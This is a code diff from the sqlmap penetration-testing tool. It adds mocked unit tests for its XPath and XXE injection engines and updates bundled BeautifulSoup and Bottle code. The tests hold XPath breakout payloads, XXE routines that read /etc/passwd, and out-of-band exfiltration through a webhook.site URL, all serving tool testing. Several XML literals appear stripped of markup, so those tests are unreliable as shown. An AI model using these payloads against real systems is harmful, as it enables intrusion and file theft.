self.assertIn("x') or ", p) + self.assertIn(" or ('", p) + + def test_simple_string_boundary_builder(self): + b = xpath._BREAKOUT_BOUNDARY["' or '1'='1"] + builder = xpath._XPathPayloadBuilder("x", b) + p = builder.nameStartsWith("/*", "d") + self.assertIn("x' or ", p) + self.assertIn(" and '1'='1", p) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = xpath._send + + def tearDown(self): + xpath._send = self.original_send + + def test_false_page_must_be_reproducible(self): + # True is stable, false changes every time -> no oracle + true_calls = [0] + + def mock(place, parameter, value): + if "true()" in value: + return "true-page" + elif "false()" in value: + true_calls[0] += 1 + return "false-page-%d" % true_calls[0] + return "default" + + xpath._send = mock + template, payload, boundary = xpath._detectBoolean("GET", "q") + self.assertIsNone(template) + + def test_detection_returns_extractable_boundary(self): + def mock(place, parameter, value): + if "true()" in value: + return '{"count":7,"entries":[{...}]}' + elif "false()" in value: + return '{"count":0,"entries":[],"error":null}' + return "default" + + xpath._send = mock + template, payload, boundary = xpath._detectBoolean("GET", "q") + self.assertIsNotNone(template) + self.assertIsNotNone(boundary) + self.assertTrue(boundary.extractable) + + +class TestGridAndTable(unittest.TestCase): + def test_grid(self): + columns = ["Path", "Element", "Value"] + rows = [["/*", "root", ""], ["/*[1]", "child", "text"]] + grid = xpath._grid(columns, rows) + self.assertIn("Path", grid) + self.assertIn("root", grid) + + def test_grid_empty(self): + grid = xpath._grid([], []) + self.assertIn("+", grid) + + def test_tree_to_table(self): + node = { + "name": "directory", "path": "/*", + "children": [{"name": "user", "path": "/*[1]", "children": [], + "attributes": [{"name": "id", "value": "1"}], "text": None}], + "attributes": [], "text": None, + } + columns, rows = xpath._treeToTable(node) + self.assertIn("Path", columns) + self.assertGreater(len(rows), 0) + + +class TestExtraction(unittest.TestCase): + def test_infer_value_mock(self): + expected = "directory" + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class MockOracle(object): + def extract(self, payload): + import re + m = re.search(r"""starts-with\(name\(/\*\),'([^']*)'\)""", payload) + return expected.startswith(m.group(1)) if m else False + + oracle = MockOracle() + result = xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), + maxLen=20) + self.assertEqual(result, expected) + + def test_infer_count(self): + expected = 3 + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class MockOracle(object): + def extract(self, payload): + import re + m = re.search(r"count\(/\*/\*\)>=(\d+)", payload) + if m: + return int(m.group(1)) <= expected + return False + + oracle = MockOracle() + result = xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), + maxCount=8) + self.assertEqual(result, expected) + + def test_infer_string_binary_search(self): + # Drive the binary-search extractor through real lxml evaluation of the + # boundary-wrapped predicates against _XML and confirm exact recovery. + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class MockOracle(object): + def extract(self, payload): + return _xpath_eval(template, payload) > 0 + + oracle = MockOracle() + # Absolute targets are resolved the same way the live tree-walk would. + self.assertEqual(xpath._inferString(oracle, builder, "name(/*)", maxLen=32), "directory") + self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/name)", maxLen=32), "luther") + self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/@id)", maxLen=32), "1") + + def test_infer_string_matches_linear(self): + # The fast extractor must agree with the legacy linear extractor. + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class MockOracle(object): + def extract(self, payload): + return _xpath_eval(template, payload) > 0 + + oracle = MockOracle() + fast = xpath._inferString(oracle, builder, "name(/*)", maxLen=32) + linear = xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), + maxLen=32) + self.assertEqual(fast, linear) + + +class TestBackendFingerprint(unittest.TestCase): + def test_lxml(self): + page = "lxml.etree.XPathEvalError: Invalid expression" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + self.assertIn("lxml", backend) + + def test_java_jaxp(self): + page = "javax.xml.xpath.XPathExpressionException: A location path was expected" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + + def test_dotnet(self): + page = "System.Xml.XPath.XPathException: Expression must evaluate to a node-set" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + + def test_no_error(self): + page = "Normal page with user data" + backend = xpath._backendFromError(page) + self.assertIsNone(backend) + + +# --- Real XPath syntax validation (lxml) --------------------------------------- + +_XML = b"""lutherfluffy""" + +_XPATH_TEMPLATES = { + "function_arg": "//user[contains(name,'%s')]", + "single_quoted": "//user[name='%s']", + "double_quoted": '//user[name="%s"]', + "numeric": "//user[position()=%s]", + "bare_predicate": "//user[%s]", +} + + +def _xpath_eval(template, payload): + """Evaluate an XPath expression against _XML, return the match count.""" + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + root = etree.fromstring(_XML) + expr = template % payload + return len(root.xpath(expr)) + + +class TestRealXPathSyntax(unittest.TestCase): + """Verify that detection payloads and extraction predicates are syntactically + valid XPath and produce the expected boolean results.""" + + @staticmethod + def _count(template, payload): + return _xpath_eval(template, payload) + + def _test_family(self, template_key, true_breakout, false_breakout, boundary_key, original="x"): + template = _XPATH_TEMPLATES[template_key] + boundary = xpath._BREAKOUT_BOUNDARY[boundary_key] + self.assertIsNotNone(boundary) + self.assertTrue(boundary.extractable) + + # Detection payloads must be syntactically valid and yield true/false + truePayload = original + true_breakout + falsePayload = original + false_breakout + self.assertGreater(self._count(template, truePayload), 0, + "True payload '%s' should match at least one node" % truePayload) + self.assertEqual(self._count(template, falsePayload), 0, + "False payload '%s' should match no nodes" % falsePayload) + + # Extraction predicate must be valid and change the result truthfully + self.assertIsNotNone(xpath._XPathPayloadBuilder(original, boundary)) + truePred = xpath._makePayload(original, boundary, "true()") + falsePred = xpath._makePayload(original, boundary, "false()") + self.assertGreater(self._count(template, truePred), 0, + "Extraction true predicate must match") + self.assertEqual(self._count(template, falsePred), 0, + "Extraction false predicate must not match") + + def test_function_arg_family(self): + self._test_family("function_arg", + "') or true() or ('", "') and false() and ('", + "') or true() or ('") + + def test_single_quoted_family(self): + self._test_family("single_quoted", + "' or '1'='1", "' and '1'='2", + "' or '1'='1") + + def test_double_quoted_family(self): + self._test_family("double_quoted", + '" or "1"="1', '" and "1"="2', + '" or "1"="1') + + def test_numeric_family(self): + self._test_family("numeric", + " or 1=1", " and 1=2", + " or 1=1", original="1") + + def test_bare_predicate_family(self): + self._test_family("bare_predicate", + " or true()", " and false()", + " or true()", original="1") + + def test_function_arg_second_variant(self): + self._test_family("function_arg", + "') or '1'='1' or ('", "') and '1'='2' and ('", + "') or '1'='1' or ('") + + def test_single_quoted_with_matching_original(self): + """When the original value matches a record (name='luther'), OR-style + extraction with 'and' suffix is still decisive because the engine uses + a non-matching sentinel base for tree-walking.""" + boundary = xpath._BREAKOUT_BOUNDARY["' or '1'='1"] + # Simulate what xpathScan() does: use a sentinel as base for OR-style + sentinel = "zzznotpresent" + self.assertIsNotNone(xpath._XPathPayloadBuilder(sentinel, boundary)) + truePred = xpath._makePayload(sentinel, boundary, "true()") + falsePred = xpath._makePayload(sentinel, boundary, "false()") + tpl = _XPATH_TEMPLATES["single_quoted"] + self.assertGreater(self._count(tpl, truePred), 0, + "OR extraction must match with sentinel base + true predicate") + self.assertEqual(self._count(tpl, falsePred), 0, + "OR extraction must not match with sentinel base + false predicate") + + def test_all_extractable_boundaries_have_valid_extraction(self): + # Match each boundary to an appropriate template and original value. + _CONTEXT = { + "') or true() or ('": ("function_arg", "x"), + "') or '1'='1' or ('": ("function_arg", "x"), + "') or 1=1 or ('": ("function_arg", "x"), + '") or true() or ("': ("function_arg", "x"), + "' or '1'='1": ("single_quoted", "x"), + "' or true() or '": ("single_quoted", "x"), + "' or 1=1 or '": ("single_quoted", "x"), + "' and '1'='1": ("single_quoted", "x"), + '" or "1"="1': ("double_quoted", "x"), + '" or true() or "': ("double_quoted", "x"), + " or 1=1": ("numeric", "999"), + " or true()": ("bare_predicate", "999"), + } + for bk, boundary in xpath._BREAKOUT_BOUNDARY.items(): + if boundary is None or not boundary.extractable: + continue + tkey, original = _CONTEXT.get(bk, ("function_arg", "x")) + template = _XPATH_TEMPLATES[tkey] + payload = xpath._makePayload(original, boundary, "true()") + try: + count = self._count(template, payload) + except unittest.SkipTest: + raise # lxml unavailable -> skip cleanly; SkipTest is an Exception, so the broad except below would otherwise mask it into a failure + except Exception as e: + self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload)) + self.assertIsInstance(count, int, + "Boundary '%s' in '%s' produced no count" % (bk, tkey)) diff --git a/tests/test_xxe.py b/tests/test_xxe.py new file mode 100644 index 00000000000..736f8ece04f --- /dev/null +++ b/tests/test_xxe.py @@ -0,0 +1,380 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XXE injection engine. Pure helpers are exercised +directly; detection tiers run against a mocked _send() so reflected/error/echo oracles +can be simulated without a live target; and crafted payloads are parsed with real lxml +to prove they are well-formed and actually expand the injected entity. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xxe.inject as xxe +from lib.core.data import conf +from lib.core.data import kb + + +class TestLooksXmlAndClean(unittest.TestCase): + def test_looks_xml(self): + self.assertTrue(xxe._looksXml("x")) + self.assertTrue(xxe._looksXml(" ")) + self.assertFalse(xxe._looksXml("id=1&name=x")) + self.assertFalse(xxe._looksXml("{\"a\": 1}")) + self.assertFalse(xxe._looksXml("")) + + def test_clean_body_strips_marks_and_bom(self): + conf.data = u"\ufeffluther%s" % (kb.customInjectionMark or "*") + cleaned = xxe._cleanBody() + self.assertFalse(cleaned.startswith(u"\ufeff")) + self.assertNotIn(kb.customInjectionMark or "*", cleaned) + self.assertTrue(cleaned.startswith("")) + + +class TestRootName(unittest.TestCase): + def test_plain(self): + self.assertEqual(xxe._rootName("x"), "user") + + def test_with_prolog_and_comment(self): + self.assertEqual(xxe._rootName("x"), "order") + + def test_namespaced(self): + self.assertEqual(xxe._rootName(''), "soap:Envelope") + + def test_existing_doctype_skipped(self): + self.assertEqual(xxe._rootName(''), "user") + + +class TestBuildDoctype(unittest.TestCase): + SUBSET = '' + + def test_no_doctype_prepended(self): + out = xxe._buildDoctype("x", "r", self.SUBSET) + self.assertIn("x", "r", self.SUBSET) + self.assertLess(out.index("]>x", "r", self.SUBSET) + self.assertEqual(out.count("x', "r", self.SUBSET) + self.assertEqual(out.count("' inside a quoted entity value must not fool the internal-subset splice + out = xxe._buildDoctype('y">]>z', "r", self.SUBSET) + self.assertEqual(out.count("z', "r", self.SUBSET) + self.assertEqual(out.count("onetwo

    ", "&e;") + self.assertEqual(out.count("&e;"), 2) + self.assertNotIn("one", out) + self.assertNotIn("two", out) + + def test_attributes_only_when_requested(self): + text = 'luther' + self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default + self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on + + def test_xmlns_preserved(self): + out = xxe._placeRef('x', "&e;", attrs=True) + self.assertIn('xmlns:soap="ns"', out) # namespace decl untouched + + def test_self_closing_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + self.assertIn("", out) + + def test_empty_element_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + + +class TestGuards(unittest.TestCase): + def test_echoed(self): + self.assertTrue(xxe._echoed("... xxemarkzzzzother", "&e;") + self.assertIn("&e;", out) + self.assertIn("other", out) # other node left intact + self.assertNotIn("xxemarkzzzz", out) + + def test_clean_body_sets_marker_on_user_marks(self): + conf.data = "luther%s" % (kb.customInjectionMark or "*") + kb.processUserMarks = True + try: + cleaned = xxe._cleanBody() + self.assertIsNotNone(xxe._MARKER) + self.assertIn(xxe._MARKER, cleaned) + finally: + kb.processUserMarks = False + xxe._MARKER = None + + +class TestReportMethod(unittest.TestCase): + def test_report_uses_conf_method(self): + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False + try: + xxe._report("Title", "Payload") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("Parameter: XML body (PUT)", captured[0]) + + +class TestHarvestFiles(unittest.TestCase): + def test_harvest_collects_dedups_and_skips_empty(self): + # simulate a target that returns real content for two files, an empty read for + # one (skipped), and an identical stub for the rest (deduped to a single entry) + def _fake(xml, rootName, path): + if path == "/etc/passwd": + return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd" + if path == "/etc/hostname": + return "host01\n", "PAYLOAD-hostname" + if path == "/etc/hosts": + return " ", "PAYLOAD-empty" # whitespace-only -> skipped + return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped + + old = xxe._tryInbandFileRead + xxe._tryInbandFileRead = _fake + try: + harvested = xxe._harvestFiles("x", "user") + finally: + xxe._tryInbandFileRead = old + + paths = [p for p, _, _ in harvested] + self.assertIn("/etc/passwd", paths) + self.assertIn("/etc/hostname", paths) + self.assertNotIn("/etc/hosts", paths) # empty read skipped + self.assertEqual(paths.count("/etc/passwd"), 1) + self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped + + +class TestOobBase64Capture(unittest.TestCase): + def test_path_capture_survives_plus_slash_equals(self): + import base64 + from lib.core.convert import getText, decodeBase64 + marker = "mk12345678" + raw = b">>>\xff\xfe some + / = data ==" + blob = getText(base64.b64encode(raw)) + self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present + url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH + m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url) + self.assertIsNotNone(m) + self.assertEqual(m.group(1), blob) + self.assertEqual(decodeBase64(m.group(1)), raw) + + +class TestDetectionMocked(unittest.TestCase): + def setUp(self): + self._send = xxe._send + xxe.SENTINEL = "sentineltoken1" + + def tearDown(self): + xxe._send = self._send + + def test_internal_reflected_positive(self): + xxe._send = lambda body: "Hello, %s! (parsed)" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="Hello, luther!") + self.assertIsNotNone(payload) + + def test_internal_echo_rejected(self): + # endpoint mirrors the raw body back (never parses) -> must NOT be a hit + xxe._send = lambda body: "You sent: %s" % body + payload, _ = xxe._tryInternal("luther", "u", baseline="You sent: luther") + self.assertIsNone(payload) + + def test_internal_baseline_contains_sentinel_rejected(self): + xxe._send = lambda body: "Hello, %s!" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) + self.assertIsNone(payload) + + def test_error_based_positive(self): + xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL + payload, page = xxe._tryError("x", "u") + self.assertIsNotNone(payload) + self.assertIsNotNone(xxe._fingerprint(page)) + + def test_error_based_echo_rejected(self): + xxe._send = lambda body: "You sent: %s" % body # echoes DOCTYPE/ENTITY -> _echoed guard + payload, _ = xxe._tryError("x", "u") + self.assertIsNone(payload) + + def test_error_exfil_extraction_base64(self): + import base64 + from lib.core.convert import getText + secret = getText(base64.b64encode(b"root:x:0:0:root:/root:/bin/sh")) + + def mock(body): + m = re.search(r'file:///(\w+)/%file;', body) or re.search(r'file:///(\w+)/%file;', body) + marker = m.group(1) if m else "zzz" + return 'failed to load "file:///%s/%s"' % (marker, secret) + + xxe._send = mock + conf.fileRead = "/etc/passwd" + try: + content, name = xxe._tryErrorExfil("x", "u") + finally: + conf.fileRead = None + self.assertEqual(name, "/etc/passwd") + self.assertIn("root:x:0:0", content or "") + + +class TestRealXmlPayloads(unittest.TestCase): + """Prove crafted payloads are well-formed and actually expand the entity.""" + + @staticmethod + def _expand(payload): + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True, huge_tree=False) + doc = etree.fromstring(payload.encode("utf-8"), parser) + return "".join(doc.itertext()) + + def test_internal_entity_expands(self): + xxe.SENTINEL = "realxmlsentinel" + ent = "abcd" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype("luther", "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_internal_entity_expands_with_existing_doctype(self): + xxe.SENTINEL = "realxmlsentinel2" + ent = "efgh" + subset = '' % (ent, xxe.SENTINEL) + base = ']>luther' + payload = xxe._placeRef(xxe._buildDoctype(base, "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_attribute_entity_expands(self): + xxe.SENTINEL = "attrsentinel" + ent = "ijkl" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype('x', "u", subset), "&%s;" % ent, attrs=True) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + +if __name__ == "__main__": + unittest.main() diff --git a/thirdparty/beautifulsoup/__init__.py b/thirdparty/beautifulsoup/__init__.py index 38750ac1ed3..a905a4ce403 100644 --- a/thirdparty/beautifulsoup/__init__.py +++ b/thirdparty/beautifulsoup/__init__.py @@ -16,7 +16,7 @@ # disclaimer in the documentation and/or other materials provided # with the distribution. # -# * Neither the name of the the Beautiful Soup Consortium and All +# * Neither the name of the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 60ff0475f21..849956bb0e2 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -80,7 +80,7 @@ from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" -__version__ = "3.2.1" +__version__ = "3.2.1b" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" @@ -93,14 +93,16 @@ text_type = str binary_type = bytes basestring = str + unichr = chr else: text_type = unicode binary_type = str try: - from htmlentitydefs import name2codepoint + from html.entities import name2codepoint except ImportError: - name2codepoint = {} + from htmlentitydefs import name2codepoint + try: set except NameError: @@ -124,7 +126,7 @@ def _match_css_class(str): """Build a RE to match the given CSS class.""" - return re.compile(r"(^|.*\s)%s($|\s)" % str) + return re.compile(r"(^|.*\s)%s($|\s)" % re.escape(str)) # First, the classes that represent markup elements. @@ -488,7 +490,7 @@ def __unicode__(self): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): # Substitute outgoing XML entities. data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) - if encoding: + if encoding and sys.version_info < (3, 0): return data.encode(encoding) else: return data diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 48aefbb69a3..56a250b6b7a 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -1,5 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- +from __future__ import print_function """ Bottle is a fast and simple micro-framework for small web applications. It offers request dispatching (Routes) with URL parameter support, templates, @@ -9,15 +10,14 @@ Homepage and documentation: http://bottlepy.org/ -Copyright (c) 2009-2018, Marcel Hellkamp. +Copyright (c) 2009-2024, Marcel Hellkamp. License: MIT (see LICENSE for details) """ -from __future__ import print_function import sys __author__ = 'Marcel Hellkamp' -__version__ = '0.13-dev' +__version__ = '0.13.4' __license__ = 'MIT' ############################################################################### @@ -69,12 +69,12 @@ def _cli_patch(cli_args): # pragma: no coverage # Imports and Python 2/3 unification ########################################## ############################################################################### -import base64, calendar, cgi, email.utils, functools, hmac, imp, itertools,\ +import base64, calendar, email.utils, functools, hmac, itertools,\ mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType from datetime import date as datedate, datetime, timedelta -from tempfile import TemporaryFile +from tempfile import NamedTemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize @@ -83,34 +83,6 @@ def _cli_patch(cli_args): # pragma: no coverage except ImportError: from json import dumps as json_dumps, loads as json_lds -# inspect.getargspec was removed in Python 3.6, use -# Signature-based version where we can (Python 3.3+) -try: - from inspect import signature - def getargspec(func): - params = signature(func).parameters - args, varargs, keywords, defaults = [], None, None, [] - for name, param in params.items(): - if param.kind == param.VAR_POSITIONAL: - varargs = name - elif param.kind == param.VAR_KEYWORD: - keywords = name - else: - args.append(name) - if param.default is not param.empty: - defaults.append(param.default) - return (args, varargs, keywords, tuple(defaults) or None) -except ImportError: - try: - from inspect import getfullargspec - def getargspec(func): - spec = getfullargspec(func) - kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) - return kwargs, spec[1], spec[2], spec[3] - except ImportError: - from inspect import getargspec - - py = sys.version_info py3k = py.major > 2 @@ -123,9 +95,18 @@ def getargspec(func): urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin - import pickle + from types import ModuleType as new_module from io import BytesIO import configparser + from datetime import timezone + UTC = timezone.utc + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] basestring = str unicode = str @@ -136,18 +117,29 @@ def getargspec(func): def _raise(*a): raise a[0](a[1]).with_traceback(a[2]) else: # 2.x + warnings.warn("Python 2 support will be dropped in Bottle 0.14", DeprecationWarning) import httplib import thread from urlparse import urljoin, SplitResult as UrlSplitResult from urllib import urlencode, quote as urlquote, unquote as urlunquote from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap - import cPickle as pickle + from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser from collections import MutableMapping as DictMixin + from inspect import getargspec + from datetime import tzinfo + + class _UTC(tzinfo): + def utcoffset(self, dt): return timedelta(0) + def tzname(self, dt): return "UTC" + def dst(self, dt): return timedelta(0) + UTC = _UTC() + unicode = unicode json_loads = json_lds + exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '', 'exec')) # Some helpers for string/byte handling @@ -184,13 +176,13 @@ def update_wrapper(wrapper, wrapped, *a, **ka): # And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. -def depr(major, minor, cause, fix): +def depr(major, minor, cause, fix, stacklevel=3): text = "Warning: Use of deprecated feature or API. (Deprecated in Bottle-%d.%d)\n"\ "Cause: %s\n"\ "Fix: %s\n" % (major, minor, cause, fix) if DEBUG == 'strict': raise DeprecationWarning(text) - warnings.warn(text, DeprecationWarning, stacklevel=3) + warnings.warn(text, DeprecationWarning, stacklevel=stacklevel) return DeprecationWarning(text) @@ -256,6 +248,7 @@ def __get__(self, obj, cls): setattr(cls, self.__name__, value) return value + ############################################################################### # Exceptions and Events ####################################################### ############################################################################### @@ -355,7 +348,8 @@ def _itertokens(self, rule): g = match.groups() if g[2] is not None: depr(0, 13, "Use of old route syntax.", - "Use instead of :name in routes.") + "Use instead of :name in routes.", + stacklevel=4) if len(g[0]) % 2: # Escaped wildcard prefix += match.group(0)[len(g[0]):] offset = match.end() @@ -432,7 +426,7 @@ def getargs(path): if (flatpat, method) in self._groups: if DEBUG: msg = 'Route <%s %s> overwrites a previously defined route' - warnings.warn(msg % (method, rule), RuntimeWarning) + warnings.warn(msg % (method, rule), RuntimeWarning, stacklevel=3) self.dyna_routes[method][ self._groups[flatpat, method]] = whole_rule else: @@ -577,18 +571,17 @@ def get_undecorated_callback(self): """ Return the callback. If the callback is a decorated function, try to recover the original function. """ func = self.callback - func = getattr(func, '__func__' if py3k else 'im_func', func) - closure_attr = '__closure__' if py3k else 'func_closure' - while hasattr(func, closure_attr) and getattr(func, closure_attr): - attributes = getattr(func, closure_attr) - func = attributes[0].cell_contents - - # in case of decorators with multiple arguments - if not isinstance(func, FunctionType): - # pick first FunctionType instance from multiple arguments - func = filter(lambda x: isinstance(x, FunctionType), - map(lambda x: x.cell_contents, attributes)) - func = list(func)[0] # py3 support + while True: + if getattr(func, '__wrapped__', False): + func = func.__wrapped__ + elif getattr(func, '__func__', False): + func = func.__func__ + elif getattr(func, '__closure__', False): + cells_values = (cell.cell_contents for cell in func.__closure__) + isfunc = lambda x: isinstance(x, FunctionType) or hasattr(x, '__call__') + func = next(iter(filter(isfunc, cells_values)), func) + else: + break return func def get_callback_args(self): @@ -607,7 +600,9 @@ def get_config(self, key, default=None): def __repr__(self): cb = self.get_undecorated_callback() - return '<%s %s -> %s:%s>' % (self.method, self.rule, cb.__module__, cb.__name__) + return '<%s %s -> %s:%s>' % ( + self.method, self.rule, cb.__module__, getattr(cb, '__name__', '__call__') + ) ############################################################################### # Application Object ########################################################### @@ -1146,8 +1141,7 @@ def __exit__(self, exc_type, exc_value, traceback): def __setattr__(self, name, value): if name in self.__dict__: raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) - self.__dict__[name] = value - + object.__setattr__(self, name, value) ############################################################################### # HTTP and WSGI Tools ########################################################## @@ -1230,7 +1224,7 @@ def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): - dst = pickle.loads(base64.b64decode(msg)) + dst = json_loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default @@ -1353,7 +1347,7 @@ def _body(self): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: - body, tmp = TemporaryFile(mode='w+b'), body + body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True @@ -1394,34 +1388,35 @@ def chunked(self): def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or - instances of :class:`cgi.FieldStorage` (file uploads). + instances of :class:`FileUpload`. """ post = FormsDict() + content_type = self.environ.get('CONTENT_TYPE', '') + content_type, options = _parse_http_header(content_type)[0] # We default to application/x-www-form-urlencoded for everything that # is not multipart and take the fast path (also: 3.1 workaround) - if not self.content_type.startswith('multipart/'): + if not content_type.startswith('multipart/'): body = tonat(self._get_body_string(self.MEMFILE_MAX), 'latin1') for key, value in _parse_qsl(body): post[key] = value return post - safe_env = {'QUERY_STRING': ''} # Build a safe environment for cgi - for key in ('REQUEST_METHOD', 'CONTENT_TYPE', 'CONTENT_LENGTH'): - if key in self.environ: safe_env[key] = self.environ[key] - args = dict(fp=self.body, environ=safe_env, keep_blank_values=True) - - if py3k: - args['encoding'] = 'utf8' - post.recode_unicode = False - data = cgi.FieldStorage(**args) - self['_cgi.FieldStorage'] = data #http://bugs.python.org/issue18394 - data = data.list or [] - for item in data: - if item.filename is None: - post[item.name] = item.value + post.recode_unicode = False + charset = options.get("charset", "utf8") + boundary = options.get("boundary") + if not boundary: + raise MultipartError("Invalid content type header, missing boundary") + parser = _MultipartParser(self.body, boundary, self.content_length, + mem_limit=self.MEMFILE_MAX, memfile_limit=self.MEMFILE_MAX, + charset=charset) + + for part in parser.parse(): + if not part.filename and part.is_buffered(): + post[part.name] = tonat(part.value, 'utf8') else: - post[item.name] = FileUpload(item.file, item.name, - item.filename, item.headers) + post[part.name] = FileUpload(part.file, part.name, + part.filename, part.headerlist) + return post @property @@ -1592,6 +1587,7 @@ def __getattr__(self, name): raise AttributeError('Attribute %r not defined.' % name) def __setattr__(self, name, value): + """ Define new attributes that are local to the bound request environment. """ if name == 'environ': return object.__setattr__(self, name, value) key = 'bottle.request.ext.%s' % name if hasattr(self, name): @@ -1642,14 +1638,6 @@ class BaseResponse(object): This class does support dict-like case-insensitive item-access to headers, but is NOT a dict. Most notably, iterating over a response yields parts of the body and not the headers. - - :param body: The response body as one of the supported types. - :param status: Either an HTTP status code (e.g. 200) or a status line - including the reason phrase (e.g. '200 OK'). - :param headers: A dictionary or a list of name-value pairs. - - Additional keyword arguments are added to the list of headers. - Underscores in the header name are replaced with dashes. """ default_status = 200 @@ -1665,6 +1653,16 @@ class BaseResponse(object): } def __init__(self, body='', status=None, headers=None, **more_headers): + """ Create a new response object. + + :param body: The response body as one of the supported types. + :param status: Either an HTTP status code (e.g. 200) or a status line + including the reason phrase (e.g. '200 OK'). + :param headers: A dictionary or a list of name-value pairs. + + Additional keyword arguments are added to the list of headers. + Underscores in the header name are replaced with dashes. + """ self._cookies = None self._headers = {} self.body = body @@ -1803,7 +1801,7 @@ def headerlist(self): content_length = HeaderProperty('Content-Length', reader=int, default=-1) expires = HeaderProperty( 'Expires', - reader=lambda x: datetime.utcfromtimestamp(parse_date(x)), + reader=lambda x: datetime.fromtimestamp(parse_date(x), UTC), writer=lambda x: http_date(x)) @property @@ -1839,14 +1837,13 @@ def 